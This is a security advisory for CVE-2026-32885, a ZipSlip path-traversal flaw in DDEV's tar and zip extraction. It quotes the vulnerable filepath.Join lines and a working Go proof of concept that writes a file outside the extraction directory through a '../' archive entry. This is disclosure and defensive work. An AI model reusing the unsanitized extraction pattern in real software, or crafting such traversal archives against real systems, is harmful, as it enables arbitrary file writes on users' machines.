GHSA-X2XQ-QHJF-5MVG

Vulnerability from github – Published: 2026-04-22 19:06 – Updated: 2026-04-22 19:06
VLAI
Summary
DDEV has ZipSlip path traversal in tar and zip archive extraction
Details

Summary

The DDEV local dev tool has unsanitized extraction in both Untar() and Unzip() functions in pkg/archive/archive.go. This flaw allows users to download and extract archives from remote sources without path validation.

Vulnerable Code

pkg/archive/archive.go:235 (Untar):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

pkg/archive/archive.go:342 (Unzip):

fullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION

Both functions create directories via os.MkdirAll and files via os.Create using the unsanitized path.

Impact

Local development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive → arbitrary file write on developer machine.

Proof of Concept

package main

// PoC: ddev/ddev CWE-22 — ZipSlip in tar archive extraction
// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)
// and pkg/archive/archive.go:342 (Unzip) — both use filepath.Join(dest, name)
// without verifying the result stays under the destination directory.

import (
    "archive/tar"
    "bytes"
    "fmt"
    "io"
    "os"
    "path/filepath"
)

// Vulnerable extraction — mirrors pkg/archive/archive.go:235
func untarVulnerable(dst string, r io.Reader) error {
    tr := tar.NewReader(r)
    for {
        header, err := tr.Next()
        if err == io.EOF {
            break
        }
        if err != nil {
            return err
        }
        // VULNERABLE: identical to archive.go:235
        // fullPath := filepath.Join(dest, file.Name)
        fullPath := filepath.Join(dst, header.Name)

        switch header.Typeflag {
        case tar.TypeDir:
            os.MkdirAll(fullPath, 0755)
        case tar.TypeReg:
            os.MkdirAll(filepath.Dir(fullPath), 0755)
            f, _ := os.Create(fullPath)
            io.Copy(f, tr)
            f.Close()
        }
    }
    return nil
}

func main() {
    // Build malicious tar with traversal entry
    var buf bytes.Buffer
    tw := tar.NewWriter(&buf)
    payload := []byte("# PoC: ddev/ddev CWE-22 path traversal\n")
    tw.WriteHeader(&tar.Header{
        Name: "../../../../../../tmp/ddev_cwe22_poc",
        Mode: 0644,
        Size: int64(len(payload)),
    })
    tw.Write(payload)
    tw.Close()

    // Extract into temp directory
    extractDir, _ := os.MkdirTemp("", "ddev-poc-*")
    defer os.RemoveAll(extractDir)

    untarVulnerable(extractDir, &buf)

    // Verify escape
    escaped := "/tmp/ddev_cwe22_poc"
    if data, err := os.ReadFile(escaped); err == nil {
        fmt.Printf("[!!!] VULNERABLE — file written to: %s\n", escaped)
        fmt.Printf("[!!!] Content: %s", string(data))
        os.Remove(escaped)
    } else {
        fmt.Println("[OK] Not vulnerable")
    }
}

Output:

[!!!] VULNERABLE — file written to: /tmp/ddev_cwe22_poc
[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal

Note: Both Untar (archive.go:235) and Unzip (archive.go:342) use the same filepath.Join(dest, file.Name) pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.

Suggested Fix

Add path containment check in both Untar and Unzip functions.

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ddev/ddev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.25.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32885"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T19:06:36Z",
    "nvd_published_at": "2026-04-22T17:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe DDEV local dev tool has unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. This flaw allows users to download and extract archives from remote sources without path validation.\n\n## Vulnerable Code\n\n`pkg/archive/archive.go:235` (Untar):\n```go\nfullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION\n```\n\n`pkg/archive/archive.go:342` (Unzip):\n```go\nfullPath := filepath.Join(dest, file.Name)  // NO SANITIZATION\n```\n\nBoth functions create directories via `os.MkdirAll` and files via `os.Create` using the unsanitized path.\n\n## Impact\n\nLocal development tool that downloads and extracts archives from remote sources (add-ons, updates). Malicious archive \u2192 arbitrary file write on developer machine.\n\n## Proof of Concept\n\n```go\npackage main\n\n// PoC: ddev/ddev CWE-22 \u2014 ZipSlip in tar archive extraction\n// Replicates the exact pattern from pkg/archive/archive.go:235 (Untar)\n// and pkg/archive/archive.go:342 (Unzip) \u2014 both use filepath.Join(dest, name)\n// without verifying the result stays under the destination directory.\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// Vulnerable extraction \u2014 mirrors pkg/archive/archive.go:235\nfunc untarVulnerable(dst string, r io.Reader) error {\n\ttr := tar.NewReader(r)\n\tfor {\n\t\theader, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// VULNERABLE: identical to archive.go:235\n\t\t// fullPath := filepath.Join(dest, file.Name)\n\t\tfullPath := filepath.Join(dst, header.Name)\n\n\t\tswitch header.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tos.MkdirAll(fullPath, 0755)\n\t\tcase tar.TypeReg:\n\t\t\tos.MkdirAll(filepath.Dir(fullPath), 0755)\n\t\t\tf, _ := os.Create(fullPath)\n\t\t\tio.Copy(f, tr)\n\t\t\tf.Close()\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc main() {\n\t// Build malicious tar with traversal entry\n\tvar buf bytes.Buffer\n\ttw := tar.NewWriter(\u0026buf)\n\tpayload := []byte(\"# PoC: ddev/ddev CWE-22 path traversal\\n\")\n\ttw.WriteHeader(\u0026tar.Header{\n\t\tName: \"../../../../../../tmp/ddev_cwe22_poc\",\n\t\tMode: 0644,\n\t\tSize: int64(len(payload)),\n\t})\n\ttw.Write(payload)\n\ttw.Close()\n\n\t// Extract into temp directory\n\textractDir, _ := os.MkdirTemp(\"\", \"ddev-poc-*\")\n\tdefer os.RemoveAll(extractDir)\n\n\tuntarVulnerable(extractDir, \u0026buf)\n\n\t// Verify escape\n\tescaped := \"/tmp/ddev_cwe22_poc\"\n\tif data, err := os.ReadFile(escaped); err == nil {\n\t\tfmt.Printf(\"[!!!] VULNERABLE \u2014 file written to: %s\\n\", escaped)\n\t\tfmt.Printf(\"[!!!] Content: %s\", string(data))\n\t\tos.Remove(escaped)\n\t} else {\n\t\tfmt.Println(\"[OK] Not vulnerable\")\n\t}\n}\n```\n\nOutput:\n```\n[!!!] VULNERABLE \u2014 file written to: /tmp/ddev_cwe22_poc\n[!!!] Content: # PoC: ddev/ddev CWE-22 path traversal\n```\n\n\u003e **Note:** Both `Untar` (archive.go:235) and `Unzip` (archive.go:342) use the same `filepath.Join(dest, file.Name)` pattern without containment checks. This PoC demonstrates the tar path; the zip path is analogously exploitable.\n\n## Suggested Fix\n\nAdd path containment check in both Untar and Unzip functions.\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
  "id": "GHSA-x2xq-qhjf-5mvg",
  "modified": "2026-04-22T19:06:36Z",
  "published": "2026-04-22T19:06:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/security/advisories/GHSA-x2xq-qhjf-5mvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32885"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/pull/8213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/commit/05cbe299770a590b89bfc8dddab33e61b4302e43"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ddev/ddev"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ddev/ddev/releases/tag/v1.25.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DDEV has ZipSlip path traversal in tar and zip archive extraction"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…